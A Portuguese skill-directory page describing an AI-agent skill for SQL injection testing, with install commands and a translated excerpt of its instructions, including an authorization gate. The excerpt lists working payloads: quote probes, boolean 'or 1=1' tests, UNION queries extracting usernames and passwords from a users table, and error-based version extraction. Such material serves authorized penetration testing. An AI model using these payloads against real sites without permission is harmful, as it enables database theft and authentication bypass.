Pular para o conteúdo
Skillpedia
Segurança48 mil · #4230

sql-injection-testing

Faz seu agente testar a segurança de sites contra ataques SQL Injection. Identifica falhas que podem comprometer o banco de dados e a segurança da aplicação.

O que ela faz

Esta ferramenta ajuda a encontrar falhas de segurança em sites, especificamente falhas chamadas 'SQL Injection'. Ela verifica se um site está protegendo corretamente as informações que recebe de você para que hackers não consigam acessá-las.

Quando usar

  • ✓Para testar a segurança de um site que você criou.
  • ✓Para aprender como hackers podem atacar sites.
  • ✓Em testes de segurança autorizados em sistemas.

Exemplo do que pedir para a IA

“Verifique se o site 'exemplo.com' tem vulnerabilidades de SQL Injection.”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/sql-injection-testing/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/sql-injection-testing/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta tenta inserir comandos especiais em campos de texto do site. Se o site responder de forma inesperada ou com erros, pode haver uma falha de segurança.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add sickn33/agentic-awesome-skills --skill sql-injection-testing

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/sickn33/agentic-awesome-skills/main/plugins/agentic-awesome-skills-claude/skills/sql-injection-testing/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

⚠️ USO AUTORIZADO APENAS Esta habilidade é apenas para fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevido desta ferramenta é ilegal e estritamente proibido.

Portão de confirmação obrigatório Antes de executar qualquer comando que sonde, explore, altere, persista, extraia dados ou tente acesso a credenciais contra um alvo:

  1. Peça ao usuário para declarar o URL exato do alvo, IP, conta ou recurso.
  2. Peça ao usuário para confirmar a autorização por escrito e o escopo permitido.
  3. Mostre o(s) comando(s) exato(s) e explique seu efeito esperado.
  4. Aguarde a confirmação explícita na conversa atual.

Sem essa confirmação, permaneça apenas em modo de leitura e forneça orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.

USO AUTORIZADO APENAS: Use esta habilidade apenas para avaliações de segurança autorizadas, validação defensiva ou ambientes educacionais controlados.

Teste de Injeção SQL

Propósito

Execute avaliações abrangentes de vulnerabilidade de injeção SQL em aplicações web para identificar falhas de segurança em bancos de dados, demonstrar técnicas de exploração e validar mecanismos de sanitização de entrada. Esta habilidade permite a detecção e exploração sistemática de vulnerabilidades de injeção SQL através de vetores de ataque in-band, blind e out-of-band para avaliar a postura de segurança da aplicação.

Entradas / Pré-requisitos

Acesso Necessário

  • URL da aplicação web alvo com parâmetros injetáveis
  • Burp Suite ou ferramenta de proxy equivalente para manipulação de requisições
  • Instalação do SQLMap para exploração automatizada
  • Navegador com ferramentas de desenvolvedor ativadas

Requisitos Técnicos

  • Compreensão da sintaxe de consulta SQL (MySQL, MSSQL, PostgreSQL, Oracle)
  • Conhecimento do ciclo de requisição/resposta HTTP
  • Familiaridade com esquemas e estruturas de banco de dados
  • Permissões de escrita para relatórios de teste

Pré-requisitos Legais

  • Autorização por escrito para testes de penetração
  • Escopo definido, incluindo URLs e parâmetros alvo
  • Procedimentos de contato de emergência estabelecidos
  • Acordos de manuseio de dados em vigor

Saídas / Entregáveis

Saídas Principais

  • Relatório de vulnerabilidade de injeção SQL com classificações de severidade
  • Esquemas de banco de dados e estruturas de tabelas extraídos
  • Demonstrações de prova de conceito de bypass de autenticação
  • Recomendações de remediação com exemplos de código

Artefatos de Evidência

  • Capturas de tela de injeções bem-sucedidas
  • Logs de requisição/resposta HTTP
  • Dumps de banco de dados (sanitizados)
  • Documentação de payloads

Fluxo de Trabalho Principal

Fase 1: Detecção e Reconhecimento

Identificar Parâmetros Injetáveis

Localize campos de entrada controlados pelo usuário que interagem com consultas de banco de dados:

# Common injection points
- URL parameters: ?id=1, ?user=admin, ?category=books
- Form fields: username, password, search, comments
- Cookie values: session_id, user_preference
- HTTP headers: User-Agent, Referer, X-Forwarded-For

Testar Indicadores Básicos de Vulnerabilidade

Insira caracteres especiais para acionar respostas de erro:

-- Single quote test
'

-- Double quote test
"

-- Comment sequences
--
#
/**/

-- Semicolon for query stacking
;

-- Parentheses
)

Monitore as respostas da aplicação para:

  • Mensagens de erro do banco de dados revelando a estrutura da consulta
  • Mudanças inesperadas no comportamento da aplicação
  • Erros HTTP 500 Internal Server
  • Conteúdo ou comprimento da resposta modificado

Payloads de Teste de Lógica

Verifique a presença de vulnerabilidade baseada em booleano:

-- True condition tests
page.asp?id=1 or 1=1
page.asp?id=1' or 1=1--
page.asp?id=1" or 1=1--

-- False condition tests  
page.asp?id=1 and 1=2
page.asp?id=1' and 1=2--

Compare as respostas entre as condições verdadeira e falsa para confirmar a capacidade de injeção.

Fase 2: Técnicas de Exploração

Extração Baseada em UNION

Combine instruções SELECT controladas pelo atacante com a consulta original:

-- Determine column count
ORDER BY 1--
ORDER BY 2--
ORDER BY 3--
-- Continue until error occurs

-- Find displayable columns
UNION SELECT NULL,NULL,NULL--
UNION SELECT 'a',NULL,NULL--
UNION SELECT NULL,'a',NULL--

-- Extract data
UNION SELECT username,password,NULL FROM users--
UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--

Extração Baseada em Erro

Force erros de banco de dados que vazam informações:

-- Extração da versão do MSSQL
1' AND 1=CONVERT(int,(SELECT @@version))--

-- Extração do MySQL via XPATH

…
Perguntas frequentes

O que é SQL Injection?

É um tipo de ataque onde um hacker insere comandos SQL maliciosos em um site para acessar ou manipular dados do banco de dados.

Por que preciso de autorização?

Testar a segurança de um site sem permissão é ilegal. Esta ferramenta só deve ser usada em sistemas que você tem autorização explícita para testar.

O que são 'parâmetros injetáveis'?

São os locais em um site (como campos de texto ou URLs) onde você pode inserir informações, e que a ferramenta verifica se podem ser usados para inserir comandos maliciosos.

Detalhes

Descrição original do autor

Execute comprehensive SQL injection vulnerability assessments on web applications to identify database security flaws, demonstrate exploitation techniques, and validate input sanitization mechanisms.

repo: sickn33/agentic-awesome-skills

Popularidade

Estrelas no GitHub
48 mil
Posição no ranking
#4230
Licença
MIT
Atualizada em
15/10/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas